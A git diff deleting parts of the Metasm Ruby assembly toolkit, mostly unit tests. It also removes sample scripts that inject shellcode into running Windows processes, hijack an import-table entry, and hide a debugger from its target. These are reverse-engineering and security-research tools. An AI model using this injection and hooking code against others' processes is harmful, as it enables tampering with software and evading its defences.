WinAPI.virtualallocex(pr.handle, 0, sc.encoded.length, WinAPI::MEM_COMMIT|WinAPI::MEM_RESERVE, WinAPI::PAGE_EXECUTE_READWRITE) -puts "injected malicous code at %x" % injected - -# fixup the shellcode with its known base address, and with the addresses it will need from the IAT -sc.base_addr = injected -sc.encoded.fixup! 'msgboxw' => msgboxw_p, 'target' => target -raw = sc.encode_string - -# inject the shellcode -pr.memory[injected, raw.length] = raw - -# rewrite iat entry -iat_h = pe.encode_xword(injected).data -pr.memory[target_p, iat_h.length] = iat_h - -# done -WinAPI.closehandle(pr.handle) diff --git a/lib/metasm/samples/win32livedasm.rb b/lib/metasm/samples/win32livedasm.rb deleted file mode 100644 index 2daa35d85d..0000000000 --- a/lib/metasm/samples/win32livedasm.rb +++ /dev/null @@ -1,33 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm' -Metasm.require 'samples/metasm-shell' - -include Metasm - -# open target -WinOS.get_debug_privilege -if not pr = WinOS.find_process(ARGV.first) - puts WinOS.list_processes.sort_by { |pr_| pr_.pid } - exit -end - -# retrieve the pe load address -baseaddr = pr.modules[0].addr - -# decode the COFF headers -pe = Metasm::LoadedPE.load pr.memory[baseaddr, 0x100000] -pe.decode_header - -# get the entrypoint address -eip = baseaddr + pe.label_rva(pe.optheader.entrypoint) - -# use degraded disasm mode: assume all calls will return -String.cpu.opcode_list.each { |op| op.props.delete :stopexec if op.props[:saveip] } - -# disassemble & dump opcodes -puts pe.encoded[pe.optheader.entrypoint, 0x100].data.decode(eip) diff --git a/lib/metasm/samples/win32remotescan.rb b/lib/metasm/samples/win32remotescan.rb deleted file mode 100644 index ac7010091a..0000000000 --- a/lib/metasm/samples/win32remotescan.rb +++ /dev/null @@ -1,133 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# here we compile and inject a C stub into a running process -# the sample stub will scan the whole process memory for a 32bit value (aligned) -# and report the results using MessageBox -# -# This shows how to mix C and asm, and a few WinOS functions. - -require 'metasm' - -include Metasm - -abort 'usage: scan <targetprocess> <value>' if ARGV.length != 2 -targetproc = ARGV.shift -searchval = Integer(ARGV.shift) - -raise 'cannot find target' if not target = WinOS.find_process(targetproc) - -sc = Shellcode.compile_c(Ia32.new, <<'EOC') -asm { -sc_start: -xor edi, edi -mov ebp, edi // ebp = match count -push fs:[edi] // backup UEH -call setup_ueh - -// our UEH: edi += 4k, check for end of addrspace -ueh: -mov eax, [esp+0ch] -add eax, 7ch // optimize code size -add dword ptr [eax+21h], 10h // ctx[edi] += 4k -cmp word ptr [eax+22h], -1 -jb ueh_retloc - -call ueh_endloop // ctx[eip] = &jmp walk_loop_end -jmp walk_loop_end -ueh_endloop: -pop dword ptr [eax+3ch] - -ueh_retloc: -xor eax, eax -ret // UEH: return(CONTINUE) -// end of UEH - -setup_ueh: -push -1 -mov fs:[edi], esp -mov eax, SEARCHEDVALUE - -walk_loop_next: -cmp edi, 0xffff_fff0 -jae walk_loop_end -scasd -jnz walk_loop_next - -found: -call found_value - -jmp walk_loop_next - -walk_loop_end: -pop eax -pop ebx -inc eax -pop dword ptr fs:[eax] - -call metasm_intern_geteip -mov [eax+matchcount-metasm_intern_geteip], ebp - -call scan_finished - -// virtualfree shellcode & exitthread -push 8000h // type = MEM_RELEASE -push 0 // size = 0 -call end_getaddr // addr = sc_start -end_getaddr: -add dword ptr [esp], end_getaddr - sc_start -push ExitThread -jmp VirtualFree -// end of main - - -// found new match at edi -found_value: -push eax -cmp ebp, 1024 -jae skipsave -call metasm_intern_geteip -add eax, table - metasm_intern_geteip -sub edi, 4 -mov dword ptr [eax+4*ebp], edi -add edi, 4 -inc ebp -skipsave: -pop eax -mov dword ptr [esp-4], 0 // hide the searched value from our stack -ret - -} - -__declspec(stdcall) void MessageBoxA(int, char*, char*, int); -int wsprintfA(char *buf, char *fmt, ...); - -unsigned long table[1024]; -unsigned long matchcount; -char outbuf[4096]; - -void scan_finished(void) -{ - int off = 0; - int i; - - off += wsprintfA(outbuf+off, "Found %d matches: ", matchcount); - for (i=0 ; i<matchcount ; i++) { - if (off > sizeof(outbuf)-20) - break; - off += wsprintfA(outbuf+off, "%X, ", table[i]); - } - outbuf[off-2] = '.'; - outbuf[off-1] = 0; - - MessageBoxA(0, outbuf, "search finished", 0); -} -EOC - -sc = sc.encoded - -sc.fixup! 'SEARCHEDVALUE' => searchval - -WinOS.inject_run_shellcode(target, sc) diff --git a/lib/metasm/samples/wintrace.rb b/lib/metasm/samples/wintrace.rb deleted file mode 100644 index 046f9a7430..0000000000 --- a/lib/metasm/samples/wintrace.rb +++ /dev/null @@ -1,92 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this is a simple executable tracer for Windows using the -# Metasm windows debug api abstraction -# all callbacks are full ruby, so this is extremely slow ! -# - -require 'metasm' -Metasm.require 'samples/metasm-shell' - -class Tracer < Metasm::WinDbgAPI - def initialize(*a) - super(*a) - @label = {} - @prog = Metasm::ExeFormat.new(Metasm::Ia32.new) - loop - puts 'finished' - end - - def handler_newprocess(pid, tid, info) - hide_debugger(pid, tid, info) - Metasm::WinAPI::DBG_CONTINUE - end - - def handler_newthread(pid, tid, info) - do_singlestep(pid, tid) - Metasm::WinAPI::DBG_CONTINUE - end - - def handler_exception(pid, tid, info) - do_singlestep(pid, tid) if @hthread[pid] and @hthread[pid][tid] - case info.code - when Metasm::WinAPI::STATUS_SINGLE_STEP - Metasm::WinAPI::DBG_CONTINUE - else super(pid, tid, info) - end - end - - def handler_loaddll(pid, tid, info) - # update @label with exported symbols - pe = Metasm::LoadedPE.load(@mem[pid][info.imagebase, 0x1000000]) - pe.decode_header - pe.decode_exports - libname = read_str_indirect(pid, info.imagename, info.unicode) - if pe.export - libname = pe.export.libname if libname == '' - pe.export.exports.each { |e| - next if not r = pe.label_rva(e.target) - @label[info.imagebase + r] = libname + '!' + (e.name || "ord_#{e.ordinal}") - } - end - super(pid, tid, info) - end - - # dumps the opcode at eip, sets the trace flag - def do_singlestep(pid, tid) - ctx = get_context(pid, tid) - eip = ctx[:eip] - - if l = @label[eip] - puts l + ':' - end - if $VERBOSE - bin = @mem[pid][eip, 16] - di = @prog.cpu.decode_instruction(Metasm::EncodedData.new(bin), eip) - puts "#{'%08X' % eip} #{di.instruction}" - end - - ctx[:eflags] |= 0x100 - end - - # resets the DebuggerPresent field of the PEB - def hide_debugger(pid, tid, info) - peb = @mem[pid][info.threadlocalbase + 0x30, 4].unpack('L').first - @mem[pid][peb + 2, 2] = [0].pack('S') - end -end - -if $0 == __FILE__ - Metasm::WinOS.get_debug_privilege - if ARGV.empty? - # display list of running processes if no target found - puts Metasm::WinOS.list_processes.sort_by { |pr_| pr_.pid } - abort 'target needed' - end - Tracer.new ARGV.shift.dup -end diff --git a/lib/metasm/tests/all.rb b/lib/metasm/tests/all.rb deleted file mode 100644 index 9f8e8df710..0000000000 --- a/lib/metasm/tests/all.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -Dir['tests/*.rb'].sort.each { |f| require f } - diff --git a/lib/metasm/tests/arc.rb b/lib/metasm/tests/arc.rb deleted file mode 100644 index 26cee93ddd..0000000000 --- a/lib/metasm/tests/arc.rb +++ /dev/null @@ -1,26 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'test/unit' -require 'metasm' - -class TestArc < Test::Unit::TestCase - def test_arc_dec - hex_stream = "\x0A\x23\x80\x0F\x80\x0\x60\x0D" # mov r3, 0x800D60 - hex_stream += "\x40\x83" # ld_s r2, [r3, 0] - - dasm = Metasm::Shellcode.disassemble(Metasm::ARC.new, hex_stream) - assert_equal(2, dasm.decoded.length) - - assert_equal('mov', dasm.decoded[0].instruction.opname) - assert_equal('r3', dasm.decoded[0].instruction.args[0].to_s) - assert_equal(0x800d60, dasm.decoded[0].instruction.args[1].reduce) - - assert_equal('ld_s', dasm.decoded[8].instruction.opname) - assert_equal('r2', dasm.decoded[8].instruction.args[0].to_s) - assert_equal('r3', dasm.decoded[8].instruction.args[1].base.to_s) - assert_equal(0, dasm.decoded[8].instruction.args[1].disp.reduce) - end -end diff --git a/lib/metasm/tests/dasm.rb b/lib/metasm/tests/dasm.rb deleted file mode 100644 index 2cf358cd1c..0000000000 --- a/lib/metasm/tests/dasm.rb +++ /dev/null @@ -1,39 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'test/unit' -require 'metasm' - -class TestPreproc < Test::Unit::TestCase - include Metasm - - def asm_dasm(src) - @cpu ||= Ia32.new - raw = Shellcode.assemble(src, @cpu).encode_string - dasm = Shellcode.decode(raw, @cpu).disassembler - dasm.disassemble_fast(0) - dasm - end - - def do_test_bd2(src, bd) - d = asm_dasm(src) - calc_bd = d.compose_bt_binding(*d.decoded[0].block.list) - calc_bd.delete_if { |k, v| k.to_s =~ /flag/ } - assert_equal bd, calc_bd - end - - def test_compose_bt_binding - do_test_bd2 'mov eax, 1 mov ebx, 2', :eax => Expression[1], :ebx => Expression[2] - do_test_bd2 'mov eax, 1 push eax', :eax => Expression[1], Indirection[:esp, 4] => Expression[1], :esp => Expression[:esp, :+, -4] - do_test_bd2 'mov [eax], ebx mov [eax], ecx', Indirection[:eax, 4] => Expression[:ecx] - do_test_bd2 'add eax, 4 mov [eax], ecx', Indirection[:eax, 4] => Expression[:ecx], :eax => Expression[:eax, :+, 4] - do_test_bd2 'mov [eax], ecx mov ebx, eax', :ebx => Expression[:eax], Indirection[:eax, 4] => Expression[:ecx], Indirection[:ebx, 4] => Expression[:ecx] - do_test_bd2 'mov [eax], ecx add eax, 4', :eax => Expression[:eax, :+, 4], Indirection[[:eax, :+, -4], 4] => Expression[:ecx] - do_test_bd2 'mov [eax+4], ecx add eax, 4', :eax => Expression[:eax, :+, 4], Indirection[:eax, 4] => Expression[:ecx] - do_test_bd2 'push 1 push 2', :esp => Expression[:esp, :+, -8], Indirection[:esp, 4] => Expression[2], Indirection[[:esp, :+, 4], 4] => Expression[1] - end -end - diff --git a/lib/metasm/tests/dynldr.rb b/lib/metasm/tests/dynldr.rb deleted file mode 100644 index 21debb6d33..0000000000 --- a/lib/metasm/tests/dynldr.rb +++ /dev/null @@ -1,53 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'test/unit' -require 'metasm' - -class TestDynldr < Test::Unit::TestCase - def d; Metasm::DynLdr; end - - def test_new_api_c - str = "1234" - d.new_api_c('int memcpy(char*, char*, int)') - d.memcpy(str, "9999", 2) - assert_equal('9934', str) - end - - def test_new_func_c - c_src = <<EOS -int sprintf(char*, char*, ...); // stdlib external -void fufu(int i, char* ptr) -{ - static int meh; // .data - meh = i; - sprintf(ptr, "lolzor %i\\n", meh); // string constant = .rodata -} -EOS - buf = 'aaaaaaaaaaaaaaaaaa' - d.new_func_c(c_src) { d.fufu(42, buf) } - assert_equal("lolzor 42\n\000aaaaaaa", buf) - end - - def test_new_func_asm - if d.host_cpu.shortname == 'ia32' - ret = d.new_func_asm('int __fastcall bla(int)', "lea eax, [ecx+1]\nret") { d.bla(42) } - assert_equal(43, ret) - assert_equal(false, d.respond_to?(:bla)) - end - end - - def test_callback - c1 = d.callback_alloc_c('int lol(int);') { |i| i+1 } - c2 = d.callback_alloc_c('int lol(int);') { |i| i+2 } - c3 = d.callback_alloc_c('int lol(int);') { |i| i/2 } - - d.new_func_c "int blop(int i, int (*fp)(int)) { return fp(i); }" - - assert_equal(2, d.blop(1, c1)) - assert_equal(4, d.blop(2, c2)) - assert_equal(6, d.blop(13, c3)) - end -end diff --git a/lib/metasm/tests/encodeddata.rb b/lib/metasm/tests/encodeddata.rb deleted file mode 100644 index d25e48a3e4..0000000000 --- a/lib/metasm/tests/encodeddata.rb +++ /dev/null @@ -1,132 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'test/unit' -require 'metasm/exe_format/shellcode' - -class TestEncodedData < Test::Unit::TestCase - def compile(src) - p = Metasm::Shellcode.assemble(Metasm::UnknownCPU.new(32, :little), src) - p.encoded - end - - def test_basic - e = compile <<EOS -toto db 42 -tutu db 48 -dd bla -EOS - assert_equal(6, e.virtsize) - assert_equal(2, e.export.keys.length) - assert_equal(0, e.export['toto']) - assert_equal(1, e.reloc.keys.length) - assert_equal('bla', e.reloc[2].target.reduce.rexpr) - end - - def test_slice - e = compile <<EOS -db 4 dup(1) -toto: -db 4 dup(2) -db 4 dup(?) -foo: -dd bla -tutu: -EOS - e1 = e[4, 8] - e2 = e[4..11] - e3 = e[4...12] - e4 = e['toto', 8] - e5 = e['toto'...'foo'] - assert_equal([e1.data, e1.virtsize], [e2.data, e2.virtsize]) - assert_equal([e1.data, e1.virtsize], [e3.data, e3.virtsize]) - assert_equal([e1.data, e1.virtsize], [e4.data, e4.virtsize]) - assert_equal([e1.data, e1.virtsize], [e5.data, e5.virtsize]) - assert_equal(nil, e[53, 12]) - assert_equal(2, e[2, 2].export['toto']) - assert_equal(4, e[0, 4].export['toto']) - assert_equal(1, e[0, 16].reloc.length) - assert_equal(0, e[0, 15].reloc.length) - assert_equal(0, e[13, 8].reloc.length) - assert_equal(1, e[12, 4].reloc.length) - assert_equal(16, e[0, 50].virtsize) - assert_equal(1, e[15, 50].virtsize) - e.align 5 - assert_equal(20, e.virtsize) - e.align 5 - assert_equal(20, e.virtsize) - e.fill 30 - assert_equal(30, e.virtsize) - end - - def test_slice2 - e = compile <<EOS -db '1' -toto: -.pad -tutu: -db '0' -.offset toto+11 -EOS - assert_equal(12, e.virtsize) - assert_equal(11, e.export['tutu']) - e[1..10] = 'abcdefghij' - assert_equal(12, e.virtsize) - assert_equal(2, e.export.length) - e[1, 10] = 'jihgfedcba' - assert_equal(12, e.virtsize) - e[1...11] = 'abcdefghij' - assert_equal(12, e.virtsize) - e.patch('toto', 'tutu', 'xxx') - assert_equal('1xxxdefghij0', e.data) - e[1..10] = 'z' - assert_equal(3, e.virtsize) - assert_equal(2, e.export['tutu']) - assert_raise(Metasm::EncodeError) { e.patch('toto', 'tutu', 'toolong') } - - e = compile <<EOS -db '1' -dd rel -db '2' -EOS - assert_equal(1, e.reloc.length) - assert_equal(1, e[1, 4].reloc.length) - assert_equal(1, e[1..4].reloc.length) - assert_equal(1, e[1...5].reloc.length) - assert_equal(0, e[2, 8].reloc.length) - assert_equal(0, e[1, 3].reloc.length) - end - - def test_fixup - e = compile <<EOS -db 1 -db toto + tata -dd tutu -EOS - assert_equal(2, e.reloc.length) - e.fixup!('toto' => 42) - assert_raise(Metasm::EncodeError) { e.fixup('tata' => 192349129) } - e.fixup('tata' => -12) - assert_equal(30.chr[0], e.data[1]) - assert_equal(1, e.reloc.length) - assert_equal(2, e.offset_of_reloc('tutu')) - assert_equal(2, e.offset_of_reloc(Metasm::Expression[:+, 'tutu'])) - e.fixup('tutu' => 1024) - assert_equal("\1\x1e\0\4\0\0", e.data) - - ee = Metasm::Expression[:+, 'bla'].encode(:u16, :big) - ee.fixup('bla' => 1024) - assert_equal("\4\0", ee.data) - - eee = compile <<EOS -db abc - def -def: -db 12 dup(?, 3 dup('x')) -abc: -EOS - assert_equal((12*4).chr[0], eee.data[0]) - end -end diff --git a/lib/metasm/tests/expression.rb b/lib/metasm/tests/expression.rb deleted file mode 100644 index 2ff4546c6a..0000000000 --- a/lib/metasm/tests/expression.rb +++ /dev/null @@ -1,55 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'test/unit' -require 'metasm' - -class TestExpression < Test::Unit::TestCase - E = Metasm::Expression - def test_encode - assert_equal("\x04\0\0\0", E[4].encode(:u32, :little).data) - end - - def test_numeric - assert_equal(5, E[4, :+, 1].reduce) - end - - def test_reduce - assert_equal(0, E[:a, :-, :a].reduce) - assert_equal(0, E[:a, :^, :a].reduce) - - assert_equal(E[:a, :^, 3], E[[1, :^, :a], :^, 2].reduce) - assert_equal(E[:a], E[[:b, :^, :a], :^, :b].reduce) - - assert_equal(E[:a, :+, 2], E[:b, :+, [:a, :-, [4, :+, [:b, :-, 6]]]].reduce) - assert_equal(E[:a, :&, 0xff00], E[[[:a, :>>, 8], :&, 0xff], :<<, 8].reduce) - - assert_equal(E[[:a, :>>, 1], :&, 0xff0], E[[[:a, :>>, 5], :&, 0xff], :<<, 4].reduce) - - assert_equal(0, E[[:a, :&, 0xff00], :&, [:b, :&, 0xff]].reduce) - assert_equal(0, E[[:a, :&, 0xff], :>>, 8].reduce) - - assert_equal(E[:a, :&, 0xffff], E[[:a, :&, 0x3333], :|, [[:a, :&, 0x8888], :+, [:a, :&, 0x4444]]].reduce) - - assert_equal(E[:a, :&, 0xff], E[[:a, :|, [:b, :&, 0xff00]], :&, 0xff].reduce) - - assert_equal(1, E[[2, :>, 1], :'||', [:a, :<=, :b]].reduce) - assert_equal(0, E[[:a, :>, :b], :'&&', [1, :>, 2]].reduce) - - assert_equal(E[:a, :>, :b], E[[:'!', [:a, :<=, :b]], :==, 1].reduce) - end - - def test_pattern - pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :|, 'b'], 'a', 'b') - assert_equal(false, pat) - - pat = E[:a, :+, [:b, :&, 0xffff]].match(E['a', :+, 'b'], 'a', 'b') - assert_equal(:a, pat['a']) - p2 = pat['b'].match(E[:a, :b, :c], :a, :b, :c) - assert_equal(0xffff, p2[:c]) - assert_equal(:&, p2[:b]) - end -end diff --git a/lib/metasm/tests/graph_layout.rb b/lib/metasm/tests/graph_layout.rb deleted file mode 100644 index 24eb7c129e..0000000000 --- a/lib/metasm/tests/graph_layout.rb +++ /dev/null @@ -1,285 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# special file to test the graph layout engine -# call this file directly to run - -require 'metasm' -include Metasm - -def test_layout(lo) - $cur ||= 0 - $cur += 1 - if $target.to_i != 0 - return if $cur != $target - else - return if not lo.include? $target - end if $target - puts $cur, lo, '' if $VERBOSE - w = Gui::Window.new - ww = w.widget = Gui::GraphViewWidget.new(nil, nil) - ww.grab_focus - Gui.idle_add { - ww.load_dot(lo) - ww.curcontext.auto_arrange_boxes - ww.zoom_all - false - } - Gui.main -end - -def test_all - test_layout <<EOS -line -> 2 -> 3 -> 4 -> 5 -> 6 -> 7; -EOS - test_layout <<EOS -sep1 -> 1; -sep2 -> 2; -sep3 -> 3; -sep4 -> 4; -sep5 -> 5; -EOS - test_layout <<EOS -fork -> 2 -> 3; -2 -> 4; -EOS - test_layout <<EOS -diamond -> 2 -> 3 -> 5; -2 -> 4 -> 5; -EOS - test_layout <<EOS -ifthen -> 2 -> 3 -> 4; -2 -> 4; -EOS - test_layout <<EOS -ufork -> 2 -> 3; -1 -> 2; -EOS - test_layout <<EOS -multidiamond -> 2 -> 31 -> 32 -> 34 -> 5 -> 6 -> 8; -2 -> 41 -> 42 -> 44 -> 5 -> 7 -> 8; -41 -> 43 -> 44; -31 -> 33 -> 34; -EOS - test_layout <<EOS -dmdout -> 2 -> 3a -> 4; -2 -> 3b -> 4; -3a -> 4a; -3b -> 4b; -EOS - test_layout <<EOS -ifthenthen -> 2 -> 8; -2 -> 3 -> 8; -2 -> 4 -> 5 -> 8; -2 -> 6 -> 7 -> 8; -EOS - test_layout <<EOS -multipod -> 2 -> 3; -2 -> 4; -2 -> 5; -2 -> 6; -2 -> 7; -2 -> 8; -EOS - test_layout <<EOS -mplarge -> 1 -> 2; -1 -> 3333333333333333333333333333333333; -EOS - test_layout <<EOS -multif -> 1 -1 -> a2 -> a3 -a2 -> a222222222 -> a3 -1 -> b2 -> b3 -b2 -> b222222222 -> b3 -EOS - test_layout <<EOS -ifx -> 1 -> 2 -> 3 -> 4 -> 5 -4 -> eeeeeeeeeeee -> 5 -EOS - test_layout <<EOS -llll -> 1 -> 22222222222222222222222222 -> e -1 -> 33333333333333333333333333 -> e -1 -> 4444444444444444444444 -> e -1 -> 5 -> e -5 -> 5t -> e -1 -> 6 -> e -6 -> 6t -> e -1 -> 7 -> e -7 -> 7t -> e -EOS - test_layout <<EOS -dangling -> 2 -> 11 -> 12 -> 13 -> 4; -2 -> 21 -> 22 -> 23 -> 4; -2 -> 31 -> 32 -> 33 -> 4; -21 -> 2z; -31 -> 3z; -EOS - test_layout <<EOS -dangin -> 2 -> 11 -> 12 -> 13; -2 -> 21 -> 22 -> 13; -2 -> 31 -> 32 -> 33; -22 -> 33; -21 -> z; -EOS - test_layout <<EOS -cascadeclean -> 2 -> 3 -> 4 -> 5 -> 6 -> 62 -> 52 -> 42 -> 32 -> 22 -> e; -2 -> 21 -> 22; -3 -> 31 -> 32; -4 -> 41 -> 42; -5 -> 51 -> 52; -6 -> 61 -> 62; -EOS - test_layout <<EOS -cascade -> 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e; -2 -> 21 -> e; -3 -> 31 -> e; -4 -> 41 -> e; -5 -> 51 -> e; -6 -> 61 -> e; -EOS - test_layout <<EOS -rstair -> 2 -> 3 -> 4 -> 5 -> 6; -2 -> 4; -2 -> 5; -2 -> 6; -EOS - test_layout <<EOS -drstair -> 2a -> 3 -> 4 -> 5 -> 6; -drstair -> 2b -> 4; -2a -> 4; -2a -> 5; -2a -> 6; -2b -> 4; -2b -> 5; -2b -> 6; -EOS - test_layout <<EOS -mrstair -> 2a -> 3a -> 4a -> 5a -> 6a; -mrstair -> 2b -> 4a; -2a -> 4a; -2a -> 5a; -2a -> 6a; -2b -> 4a; -2b -> 5a; -2b -> 6a; -2a -> 3b -> 4b -> 5b -> 6b; -2a -> 4b; -2a -> 5b; -2a -> 6b; -2b -> 3b; -2b -> 4b; -2b -> 5b; -2b -> 6b; -EOS - test_layout <<EOS -loop -> 2 -> 3 -> 4; -3 -> 2; -EOS - test_layout <<EOS -loopbreak -> 2 -> 3 -> e; -2 -> 4 -> 5 -> 6 -> 8 -> e; -5 -> 7 -> 4; -EOS - test_layout <<EOS -loopbreak2 -> 2 -> 3 -> e; -2 -> 4 -> 5 -> 6 -> 8 -> e; -5 -> 7 -> 4; -7 -> 8; -EOS - test_layout <<EOS -unbalance -> 2 -> 3 -> 4 -> 5 -> e; -2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e; -EOS - test_layout <<EOS -unbalance2 -> 2 -> 3 -> e; -2 -> 4 -> e; -2 -> 5 -> e; -2 -> 6 -> 7 -> 8 -> 9 -> 10 -> 11 -> 12 -> e; -EOS - test_layout <<EOS -unbalance3 -> 2 -> 3 -> e; -2 -> 4 -> e; -2 -> 5 -> e; -2 -> 6 -> e; -8 -> 9 -> e; -2 -> 7 -> e; -EOS - test_layout <<EOS -disjoint -> 1 -> 2 -> 3 -> 4 -> 5 -> 6; -l1 -> l2; -l1 -> l3; -l1 -> l4; -l1 -> l5; -l1 -> l6; -EOS - - test_layout <<EOS -lol -> 2 -> 31 -> 41 -> 5; -2 -> 32 -> 42 -> 5; -31 -> 42; -41 -> 32; -EOS - test_layout <<EOS -nestloop -> 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> e; -6 -> 4; -7 -> 3; -EOS - test_layout <<EOS -escape -> 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> 8; -2 -> 21; -4 -> 6; -EOS - test_layout <<EOS -loophead -> 1 -> loophead; -2 -> 3 -> 2; -3 -> 4; -1 -> 4; -EOS - test_layout <<EOS -1 -> e1; -l00pz -> 1 -> l00pz; -l2 -> 2 -> l2; -2 -> e1; -2 -> e2; -l3 -> 3 -> l3; -3 -> e2; -EOS - test_layout <<EOS -3loop -> 1 -> 3loop; -1 -> 2 -> 3 -> 2; -0 -> 00 -> 0 -> 2; -EOS - test_layout <<EOS -foo -> 0 -> 1 -0 -> 2 -> 3 -> 4 -> 5 -4 -> 6 -4 -> 7 -> 5 -4 -> 8 -> 6 -2 -> 1 -> 7 -3 -> 1 -> 8 -EOS - test_layout <<EOS -dang -> 2 -> 3 -> 4 -> 5 -> 6 -> 4; -2 -> 9; -5 -> 9; -EOS - test_layout <<EOS -dang2 -> 2 -> 3 -> 4 -> 5 -> 6 -> 4 -2 -> 9 -5 -> 9 -9 -> a -> 9 -EOS - test_layout <<EOS -onlyloop -> onlyloop -EOS - -rescue Interrupt -end - -if __FILE__ == $0 - $target = ARGV[0] - test_all -end diff --git a/lib/metasm/tests/ia32.rb b/lib/metasm/tests/ia32.rb deleted file mode 100644 index e4d990b1ed..0000000000 --- a/lib/metasm/tests/ia32.rb +++ /dev/null @@ -1,110 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'test/unit' -require 'metasm' - -class TestIa32 < Test::Unit::TestCase - @@cpu32 = Metasm::Ia32.new - @@cpu16 = Metasm::Ia32.new(16) - def assemble(src, cpu=@@cpu32) - Metasm::Shellcode.assemble(cpu, src).encode_string - end - - def assert_equal(a, b) super(b, a) end - - def test_basic - assert_equal(assemble("nop"), "\x90") - assert_equal(assemble("push eax"), "\x50") - assert_equal(assemble("push 2"), "\x6a\x02") - assert_equal(assemble("push 142"), "\x68\x8e\0\0\0") - end - - def test_sz - assert_equal(assemble("dec eax"), "\x48") - assert_equal(assemble("dec ax"), "\x66\x48") - assert_equal(assemble("dec al"), "\xfe\xc8") - assert_equal(assemble("arpl [edi+70h], bp"), "cop") - end - - def test_16 - assert_equal(assemble("push 142", @@cpu16), "\x68\x8e\0") - assert_equal(assemble("code16 push 142", @@cpu16), "\x68\x8e\0") - assert_equal(assemble("code16 push 142"), "\x68\x8e\0") - assert_equal(assemble("push.i16 142"), "\x66\x68\x8e\0") - assert_equal(assemble("mov eax, 42"), "\xb8\x2a\0\0\0") - assert_equal(assemble("code16 mov ax, 42"), "\xb8\x2a\0") - end - - def test_jmp - assert_equal(assemble("jmp $"), "\xeb\xfe") - assert_equal(assemble("jmp.i32 $"), "\xe9\xfb\xff\xff\xff") - end - - def test_opsz - assert_equal(assemble("cbw"), "\x66\x98") - assert_equal(assemble("cwde"), "\x98") - - assert_equal(assemble("cbw", @@cpu16), "\x98") - assert_equal(assemble("cwde", @@cpu16), "\x66\x98") - - assert_equal(assemble("cmpxchg8b [eax]"), "\x0f\xc7\x08") - assert_equal(assemble("cmpxchg8b [bx]", @@cpu16), "\x66\x0f\xc7\x0f") - end - - def test_mrmsz - assert_equal(assemble("mov [eax], ebx"), "\x89\x18") - assert_equal(assemble("mov [eax], bl"), "\x88\x18") - assert_equal(assemble("mov ebx, [eax]"), "\x8b\x18") - assert_equal(assemble("mov bl, [eax]"), "\x8a\x18") - assert_equal(assemble("mov bl, [bx]"), "\x67\x8a\x1f") - assert_equal(assemble("mov bl, [bx]", @@cpu16), "\x8a\x1f") - assert_equal(assemble("code16 mov bl, [bx]"), "\x8a\x1f") - assert_equal(assemble("mov bl, [0]"), "\x8a\x1d\0\0\0\0") - assert_equal(assemble("mov.a16 bl, [0]"), "\x67\x8a\x1e\0\0") - end - - def test_err - assert_raise(Metasm::ParseError) { assemble("add eax") } - assert_raise(Metasm::ParseError) { assemble("add add, ebx") } - assert_raise(Metasm::ParseError) { assemble("add 42, ebx") } - assert_raise(Metasm::ParseError) { assemble("add [bx+ax]") } - end - - def test_C - src = "int bla(void) { volatile int i=0; return ++i; }" - assert_equal(Metasm::Shellcode.compile_c(@@cpu32, src).encode_string, - ["5589E583EC04C745FC00000000FF45FC8B45FC89EC5DC3"].pack('H*')) - end - - def disassemble(bin, cpu=@@cpu32) - Metasm::Shellcode.disassemble(cpu, bin) - end - - def test_dasm - d = disassemble("\x90") - assert_equal(d.decoded[0].class, Metasm::DecodedInstruction) - assert_equal(d.decoded[0].opcode.name, "nop") - - assert_equal(disassemble("\x66\x0f\xc7\x08").decoded[0], nil) - assert_equal(disassemble("\x0f\xc7\x08").decoded[0].opcode.name, "cmpxchg8b") - end - - def test_pfx - assert_equal(assemble("nop"), "\x90") - assert_equal(assemble("pause"), "\xf3\x90") - assert_equal(disassemble("\x90").decoded.values.first.opcode.name, "nop") - assert_equal(disassemble("\xf3\x90").decoded.values.first.opcode.name, "pause") - end - - def test_avx - assert_equal(disassemble("\xc4\xc3\x75\x42\xc2\x03").decoded[0].instruction.to_s, "vmpsadbw ymm0, ymm1, ymm2, 3") - assert_equal(assemble("vmpsadbw ymm0, ymm1, ymm2, 3"), "\xc4\xc3\x75\x42\xc2\x03") - assert_equal(assemble("vpblendvb xmm1, xmm2, xmm3, xmm4"), "\xc4\xc3\x69\x4c\xcb\x40") - assert_equal(assemble("vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2"), "\xc4\xc2\xe9\x92\x0c\x0a") - 